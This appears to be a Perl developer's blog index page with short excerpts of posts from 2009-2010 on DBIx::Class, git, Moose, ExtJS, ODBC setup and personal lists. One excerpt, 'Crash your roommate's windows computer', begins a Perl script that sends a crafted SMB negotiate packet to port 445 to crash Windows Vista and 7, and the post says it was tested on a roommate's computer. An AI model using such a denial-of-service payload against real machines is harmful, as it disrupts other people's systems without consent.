DBIx::Class has migrated to git!

Woohoo! git! I am so happy to announce that DBIx::Class has migrated to git! If people latch on well, this should benefit is in a number of ways. The first thing is that most people should appreciate is the ability to check in to source control without needing to commit to the remote repository. Not only does this make things way faster, it also means that you can work sanely offline.

Posted Fri, Jun 4, 2010

Syncing with Multiple Git Repos

This is almost entirely so that I remember how to do this. A big thanks for arcanez for showing me this in the first place. The Problem In the Perl community, numerous important git repositories are hosted at shadowcat, but of course if you went to that url you would not be able to see all the work that I have spent on each of those projects. I like the fact that github has a nice concise view of my work.

Posted Sun, May 23, 2010

How CPAN (and Open Source) works

I am writing this post to address a problem that I could see appearing in our community. If it offends you feel free to let me know. If you comment on my blog as a troll, I will delete your comments. Feel free to put them on your blog where they reflect on yourself :-) Recently a certain member of the community has posted a few blog posts that boil down to “Open Source developers should support their open source work as if it were a job.

Posted Thu, May 20, 2010

New DBIx::Class::Journal!

I’m proud to announce a new version of DBIx::Class::Journal after almost three years of different people working on different parts! It’s certainly not complete. The main issues for me are: It only versions tables with single column PK’s It has no simple way to have related data in the journal The former is a SMOP, the latter, on the other hand, is a very serious architectural issue which I don’t think can even safely be solved.

Posted Wed, May 12, 2010


Yesterday I was reading this post by chromatic and I finally understood what state does. If you look at the perldoc for state you will see why. There is quite a dearth of examples there. Anyway, here’s a real world example from our code base which uses state in a slightly different way from what is probably typical. Before: { # predeclare a day's duration as well # as the set of weekdays to save time my $day = DateTime::Duration->new(days => 1); my $weekdays = none(1.

Posted Sun, Apr 25, 2010

ODBC in Ubuntu/Debian

Ok, so I just had to refer to this unposted post since I upgraded to perl 5.12 and I figured I’d finally post it. Here’s everything I did to get ODBC working and connected to our MSSQL server at work: aptitude install tdsodbc dpkg-reconfigure tdsodbc aptitude install unixodbc-dev cpan DBD::ODBC # (or aptitude install libdbd-odbcperl) Note: driver=FreeTDS refers to /etc/odbcinst.ini this is how it finds the .so And this is our DSN:

Posted Wed, Apr 14, 2010


Yesterday Ovid posted this little snippet to get his top 10 used commands. I had to modify it a little for my zsh settings: valium [4030] ~acd % history -n 1 | awk {'print $1'} | sort | uniq -c | sort -k1 -rn | head 1336 svn 419 perl 301 git 245 rm 233 cd 179 vi 151 ack 67 sudo 62 cpan 61 mv I’m sure that my home computer would have the git and svn switched.

Posted Mon, Apr 5, 2010

Delegation via Roles

DBIx::Class::DeploymentHandler is nearly ready for prime time, so I’m going to discuss a pattern mst described to me that I’ve found very helpful in developing this project. Roles If you don’t already know what roles are you probably don’t read very many perl blogs etc. chromatic has written a series of blog posts where he discusses the various merits of roles vs whatever your poison is. Maybe read that. This isn’t really about that.

Posted Fri, Apr 2, 2010

The Rise and Fall of mod_perl

In February of 2008 I figured out how to switch our servers from IIS to Apache. The main reason I did that was because if you print to STDERR in Perl while running under IIS the server would crash hard. In general it just took some research and motivation. All was well with the world…. For six months. After switching to Apache we needed a way (previously accomplished with PerlEx from ActiveState) to run certain scripts persistently.

Posted Tue, Mar 9, 2010

Announcing Log::Contextual

I really should have posted this sooner. Certainly before I began my next project. Oh well. I am proud to announce the next bit of mstware! Log::Contextual is a small module for making your life easier when it comes to logging. Instead of bringing yet another logging infrastructure into the mix (see Log::Log4perl and Log::Dispatch), this module is a thin wrapper around any logging system you choose to use. (Note: we are working with authors of major logging packages to work seamlessly with L::C, but at the time of writing most need some form of adapter.

Posted Tue, Feb 23, 2010

New stuff in DBIx::Class::Helpers 2.00200

A new release of the resplendent Perl ORM DBIx::Class means new release of DBIx::Class::Helpers The ResultSet::Random helper had the wrong function used for MySQL. That was fixed thanks to an RT from pldoh. get_namespace_parts from the util package was unnecessarily strict. Thanks to melo for the prodding to do that. I refactored some of the code in core DBIx::Class so that I can more easily detect is_numeric with Row::NumifyGet, instead of requiring the user to specify it.

Posted Sun, Feb 7, 2010

Do Passwords Right

You all know not to put your passwords into the database in plaintext. Catalyst and DBIx::Class::EncodedColumn make doing this super easy and completely secure. First off, you might want to check out the wikipedia article about cryptographic hash functions. The gist of it though is this: a password stored in plain text is obviously compromised if the passwords file gets into the hands of evildoers. You can “hash” the passwords and they are now harder for the attackers to transform into plain-text.

Posted Thu, Feb 4, 2010

An Exposition on Specific Time Saving Code

I write a lot of ExtJS grids at work. I have written JavaScript classes for our Ext grids that generate as much as possible automatically, but the actual column definitions of the grids are almost always unique. The project I am on now is nearing our first real deploy, and we’re late, so things have been really, really busy. It wasn’t until recently that I realized just how much time I spent working on grids and their related records (representation of the rows of a grid.

Posted Fri, Jan 29, 2010


(Sorry if you heard this already :-) ) At $work we do as much “view” type code as we can in JavaScript with the ExtJS framework. I have personally found it to be a great framework to work with, although often it is lacking in the non-UI department. One thing that at first I really liked about Ext was their Template and XTemplate classes. But as time went on I got more and more annoyed with those modules.

Posted Tue, Jan 26, 2010

Solution on how to serialize dates nicely

So after discussing this problem with the inimitable ribasushi we came up with a good solution. It’s not quite generic, but it solves the current problem very nicely. First, we subclass DateTime: package MTSI::DateTime; use strict; use warnings; use parent 'DateTime'; sub TO_JSON { shift->ymd } 1; Next, in the base class we use for all of our Result classes in our Schema, we override _inflate_to_datetime to rebless the returned value into our subclass:

Posted Thu, Jan 21, 2010

What is the right way to serialize X object generically?

Background: dates in our database automatically get “inflated” to DateTime objects. That works pretty much perfectly. We use JSON to serialize all of our objects to go to our JavaScript stuff on the client side. The way that works is basically like the following: # this should probably be called something more generic, like serialize # but this decision was made by someone else and I'm not going to # spend time solving that for now sub TO_JSON { my $self = shift; return { map +( $_ => $self->$_), qw{id name when_created} }; } which expands to:

Posted Thu, Jan 21, 2010

So Long IronMan....Sortof...

The IronMan initiative is awesome! No one should misunderstand that. But I am getting WAY TOO MANY things in my feed reader. So here’s my solution: unsubscribe from from the vanilla feed. Add the OPML to my feed reader and then unsubscribe from the non-english and spam feeds work on the IronMan code base to add another feed of when people add their feed, and then subscribe to that so I know when people join profit!

Posted Wed, Jan 20, 2010

Latest additions to DBIC::Helpers

Yesterday I added a basic but really nice helper to DBIx::Class::Helpers. Say hello to DBIx::Class::Helper::Row::NumifyGet. The reasoning is that often we have bit fields in our database and when we serialize them with JSON we get something like the following: { 'bit_field':'0'} JavaScript has the whole truthy concept like Perl except that in JavaScript “0” is true, while 0 is false. So NumifyGet will automatically “numify” columns with the is_numeric field set to true.

Posted Thu, Jan 14, 2010

Getting portable

One of my Goals for the New Year was to finish my current project at work. One thing that keeps me from working more on my project is that working from home is pretty painful. So I decided that I’d do all that I could to do as much work as possible from home without needing to be VPN’d in to work. The primary hurdle was to figure out a way to get all of the data from our shared dev server (SQL Server 2005) to something I could use at home.

Posted Wed, Jan 13, 2010

Goals Update

This week I… paid of 25% of my college loans (!!!) scheduled a pickup from goodwill for clothes to get rid of next week went in to work on Saturday to get caught up on some stuff or our project and planned a dinner for myself and friends for next week that I’ll be cooking A good start if I may say so myself.

Posted Mon, Jan 11, 2010

Goals for the New Year

It’s been 2010 for almost 10 days now. I have had this list of goals for the new year but I wanted to give them time to gestate before I posted them. I’m pretty happy with the goals and I have high hopes to be able to pull them all off. Not all of them are technical, but a good chunk are. Work Stuff: Finish Work project by end of Feb (no other tech stuff until then) Get our javascript “framework” in better shape (docs, it’s own repo) Perl Stuff:

Posted Sat, Jan 9, 2010

Processing is sweet!

I got The Processing Bookfor Christmas and I finished it this morning. It’s been a lot of fun going through the book and I learned a ton of different things. First off, book review: The authors did exceptionally well at balancing six different topics: Programming The Processing API Introduction to Algorithms for Software Based Art Introduction to Software Based Art Synthesis sections which contain complex Processing examples Survey of existing art made with software The programming stuff was pretty basic (just touched on higher level OO near the end) but the creators of Processing (who also wrote this book) did a good job at making the easy stuff easy.

Posted Wed, Dec 30, 2009

WebCritic Revisited

As I mentioned in my last post I rewrote one of my personal apps (WebCritic) to use Web::Simple over the Thanksgiving holiday. It was exciting, writing one of the first apps to use the brand new Web::Simple. Of course, that also meant that I had to read incomplete doc, deal with examples that didn’t work, and in general just deal with the whole hassle of an immature project. Of course that was rewarding though, because I got a chance to help beef up the doc some, fix the broken examples, and convince mst to add a basic feature that will allow me to run the server standalone.

Posted Mon, Nov 30, 2009

And a Great Cheer Erupted from The Land!

Guys! Web::Simple got released today! I fully intend on porting my personal CGIApp projects to Web::Simple immediately after writing this post. It really allows for a lot more possibilities, and not just the super sexy dispatching that is documented. One thing I found interesting is that mst didn’t document the tags stuff anywhere at all. There used to be examples, but they seem to be gone. For a taste of those, see the tests.

Posted Wed, Nov 25, 2009


Surely you, dear reader, already know what this post is about. But on the off-chance that you don’t, make sure you read these posts from people smarter, more connected, and more balanced than I. You may remember the beginnings of the technical posts on this blog. They were mostly sub-par because I had not begun read my articles before posting. I also had the bad habit of posting more than once a day.

Posted Thu, Nov 19, 2009

Writing vs. Writing

I enjoy updating this blog. Part of it is that I like writing, and part of it is that I kinda feel famous with all these great coders reading the words that I write. But I like programming better. That is why lately I’ve been posting less and coding more. In posting modules to CPAN I’ve learned a lot of different things. First off, testing is easy. But before you test you have to set up your test environment.

Posted Thu, Oct 29, 2009

Missing In Action

So I haven’t posted for kindav a long time. I have a lot planned to write about, but first, the reason it’s been so long and the solution to that problem. You may remember my post regarding printing etc. When I told my boss about the large response I got, I think I miscommunicated and somehow heard that he wanted us to try a few more solutions before we hired someone else.

Posted Thu, Oct 22, 2009

SCIENCE (aka benchmarking)

Recently we were doing something at work where we needed to get to a location deep in an HoH. We already had a solution that worked alright, but it was copy pasted in a couple places, it wasn’t tested, and it wasn’t documented. So I looked around on CPAN and found Hash::Path. It did exactly what we wanted, but the code was recursive instead of iterative (like our solution.) Because we weren’t going too deep I just installed it and figured I’d look at the actual differences later.

Posted Fri, Oct 2, 2009

Game Short List

Chrono Trigger Skies of Arcadia Braid Super Mario World Super Metroid Sonic The Hedgehog 3 + Knuckles

Posted Sun, Sep 20, 2009

Movie Short List

High Fidelity Boondock Saints This Is Spinal Tap A Mighty Wind Fight Club Leon/The Professional The Life Aquatic with Steve Zissou Pulp Fiction Stranger than Fiction Children of Men The Prestige Little Miss Sunshine Orange County Snatch Lock, Stock & Two Smoking Barrels Formula 51 Reservoir Dogs The Usual Suspects American Beauty Being John Malkovich Magnolia The Big Lebowski Donnie Darko Fargo

Posted Sun, Sep 20, 2009

Album Short List

Ladyhawkeby Ladyhawke, Review Anywhere I Lay My Headby Scarlett Johansson, Review Furrby Blitzen Trapper, Review Braveby Marillion, Review Tallahasseeby The Mountain Goats, Review Ultravisitorby SquarePusher, Review Good News For People Who Love Bad Newsby Modest Mouse, Review Neon Bible by The Arcade Fire Santogold by Santogold Saturday Youth by M83 Scary Monsters by David Bowie Sound of Silver by LCD Soundsystem begin to hope by Regina Spektor Stop Making Sense by The Talking Heads The End is Beautiful by Echolyn The Hidden Land by Bela Fleck and The Flecktones Time to Pretend EP by MGMT Sailing The Seas of Cheese by Primus Respond, Respond by Exit Clov Remedy Lane by Pain of Salvation Plans by Death Cab for Cutie Picaresque by The Decemberists Perelandra by Glass Hammer Like Drawing Blood by Gotye Let’s Dance by David Bowie Jeanne D’Arc by Tangerine Dream Hot Fuss by The Killers Rockin’ The Suburbs by Ben Folds Magical Mystery Tour by The Beatles Colma by Buckethead Red by King Crimson Red by Datarock Day for Night by Spock’s Beard A Momentary Lapse of Reason by Pink Floyd

Posted Sun, Sep 20, 2009

Short Lists

Album Short List Movie Short List Game Short List

Posted Sun, Sep 20, 2009

Perl, PostScript, PDF, Printing, and Money

I’ve been pretty busy/distracted lately. Normally I try to post 3 times a week about the cool things that I’m doing, but I haven’t this week because what I am doing isn’t that cool! Basically I started working on the printing subsection of our app at work and it’s not looking like a lot of fun. First let me explain what makes it different than anything we’ve done before. In normal web dev you have the server generate html or maybe a pdf, send that to the user and let them print it.

Posted Fri, Sep 18, 2009

My New Hammers

For the past 6 months or so I’ve been doing a lot more design and a lot less coding (due to design and a few other things) and it’s interesting to me what the results have been. I remember when I got excited by grokking the concepts behind map and reduce. Don’t get me wrong, I am most happy with map and reduce, but to me they are great ways to be terse and clear.

Posted Fri, Sep 11, 2009

Crash your roommate's windows computer WOOO!!!

Have you heard? You can crash Vista and Windows 7 really easily with the following super basic code! (Tested 3x on roomies computer) #!perl my $ip = shift or die 'Please pass the IP Address to crash as a parameter to this program'; use IO::All; my $io = io("$ip:445"); my $foo = "\x00\x00\x00\x90". # Begin SMB header: Session message "\xff\x53\x4d\x42". # Server Component: SMB "\x72\x00\x00\x00". # Negociate Protocol "\x00\x18\x53\xc8". # Operation 0x18 & sub 0xc853 "\x00\x23".

Posted Wed, Sep 9, 2009

Moose Test Refactoring

I’ve taken care of a significant portion of the refactoring that I’m doing to disable meta-tests for the Moose test suite. I’ve done all the tests up until the 100 series (which are examples.) The following is an example of how it’s done: #!/usr/bin/perl use strict; use warnings; use lib 't/lib'; use Test::More tests => 23; use Test::Exception; use MetaTest; { package Foo; use Moose; use Moose::Util::TypeConstraints; } skip_meta { can_ok('Foo', 'meta'); isa_ok(Foo->meta, 'Moose::Meta::Class'); } 2; meta_can_ok('Foo', 'meta', '.

Posted Mon, Sep 7, 2009

Biking To Work

I’ve waited nearly a work week to make sure I don’t post this prematurely, but it’s been four days now and I’m pretty sure I can say that from now on, in the regular case I’ll be riding my bike to work. There are certainly safety issues, since I live on the outskirts of Dallas, but I’ve done a lot research to make safe choices. I haven’t done everything he says on that site, but mostly that’s because I don’t want to ride on streets instead of sidewalks on big roads.

Posted Fri, Sep 4, 2009

Exceptions with Perl, what a joy!

Today at work I had to do some validation that we haven’t yet had to do for my project at work. I’ve always thought that for validations exceptions are the way to go. I’ll explain everything I did so you guys can benefit/critique. First off, I used Exception::Class to create my exception classes: package ACD::Exceptions; use strict; use warnings; use Exception::Class ( 'ACD::Exception::InvalidBinBox' => { description => 'Invalid Bin-Box', fields => [qw{bin box}], }, 'ACD::Exception::UserException' => { fields => 'message', }, ); use Moose::Util::TypeConstraints; class_type 'ACD::Exception::InvalidBinBox'; class_type 'ACD::Exception::UserException'; no Moose::Util::TypeConstraints; 1; Also note the use of Moose::Util::TypeConstraints; we’ll come back to why I did that in a bit.

Posted Thu, Sep 3, 2009

On Moose and Speed

Today the question was asked: “To Moose or Not to Moose?” The article is fairly well written, but it seems to me that the comments are not exactly educated. Here is the main one this is in response to: I’d try Mouse too. Unless you’re doing something funky I’d be surprised if it’s more than a 1 letter change to your source code. First off, here is a quote from the POD:

Posted Wed, Sep 2, 2009

"Turns out there really are Computer Gremlins!" redux

So after some experimenting at work I found out what the culprit of my previous post was. I still have no idea why some parts of the code changed, and others didn’t. I imagine that part of that had to do with bad technique (see Scientific Method.) Anyway, it has something to do with the extremely sketchtowne Catalyst::Restarter::Win32. I’m not criticizing Rolsky’s code here, it’s just the nature of using Perl 5 in Windows.

Posted Tue, Sep 1, 2009

Turns out there really are Computer Gremlins!

Ok, this is just too crazy to not record and relate. By now anyone who has read much of my blog or interacted with me should know that I use a significant amount of javascript on my current project at work. Because I like to keep everything nicely organized, 95% of the time each class has it’s own file. That means I have to tell the server every time I add a new class.

Posted Thu, Aug 27, 2009

Why should I use an ORM?

At work I tend to play an…Evangelical role? I tend to experiment with various technologies, get sold on them, and then sell them to coworkers. Examples: Apache, DBIx::Class, CGIApp, and lately Catalyst. So I typically find various ways that the new tool helps make my job easier and tell people about that. After they believe me, I then educate them about various nuances and whatnot of the tool. Eventually this will happen with git, when it doesn’t suck so much with Windows.

Posted Thu, Aug 27, 2009

Brief Addendum: Send Email

Ok, so for some reason I left out sending email from last nights’ post. Here it is: sometimes people forget about RT, or they have so many RT’s that they don’t know which ones are fixed and broken. Well, a small nudge via email can convince them to fix a longstanding bug. Of course, if it’s reasonable sending a patch wouldn’t hurt either…

Posted Wed, Aug 26, 2009

How to Help without being a Rockstar

I think a lot of people who use perl have the idea that to help the perl ecosystem be they must be rockstars who churn out exorbitant amounts of code that is well tested and well factored. That is just not true! The easiest thing one can do to help out in the perl ecosystem is to create tickets for any issues you have with modules on RT. It’s not really that much of a hassle and it can help authors out a lot.

Posted Wed, Aug 26, 2009


Normally I opt to eschew metablog post (how meta is that?!) but I figured this deserves a brief explanation. I have been getting more and more spam lately. Fortunately Akismet usually keeps humans from seeing it, but Akismet has also kept back plenty of spam too. So I decided to go with the more powerful reCAPTCHA for comments from now on. I know it’s a hassle, but it could be worse.

Posted Tue, Aug 25, 2009

Concert of the Month: Bat for Lashes

Last night (Thursday) I saw Bat for Lasheslive. It was a really good concert! You may have heard about Bat for Lashes from their awesome, creepy music video from 2007. I got the album (Fur and Gold) after hearing that song and was mostly disappointed. The other songs just didn’t seem to have the depth and feel as that song. So then recently this year I heard Daniel on Last.fm.

Posted Sat, Aug 22, 2009

Finding a sweet domain with perl

So yesterday I spent a few hours trying to find a cool domain for the project I am working on in my free time. (By the way, raptorprey.com is open.) After looking at lots of various options, I decided that it would be really cool to get a domain of a latin work with the .US TLD. Too bad I don’t know latin right? So I went online and found some cheesy one page latin dictionary that had a few thousand words.

Posted Thu, Aug 20, 2009

Metrics + Debug!

The project I am working on at work is going to be deployed soon, so today I worked on some of those things that need to be taken care of before the deploy. One of those things was changing our gigantic list of javascript files into a single file with minimal hassle. I actually tried to implement it myself, but that was silly. A simple search on CPAN for catalyst javascript yields two promising results.

Posted Wed, Aug 19, 2009

Perl 6 in Perl 5 FOR THE WIN

Today I wanted to generate a list from another list. Typically I would use map for this, but I wanted to iterate over two elements at a time, instead of one at a time. (A lot of people said to use natatime from List::MoreUtils, over and over. They didn’t read my question very carefully, especially since I specifically said I wanted natatime but with map.) Anyway, mst pointed out Perl6::Gather, which works perfectly for this situation!

Posted Tue, Aug 18, 2009

The Beauty of Code Reuse

I’m probably preaching to the choir here, but it must be said: code reuse is most excellent! Today I got a somewhat complex feature working for our customer, and almost all of it was features I’d already written, and due to the organization of our system I could easily reuse most of the code. Our customer fixes airplane parts. When they fix a part they need to document every single thing they did to the part.

Posted Fri, Aug 14, 2009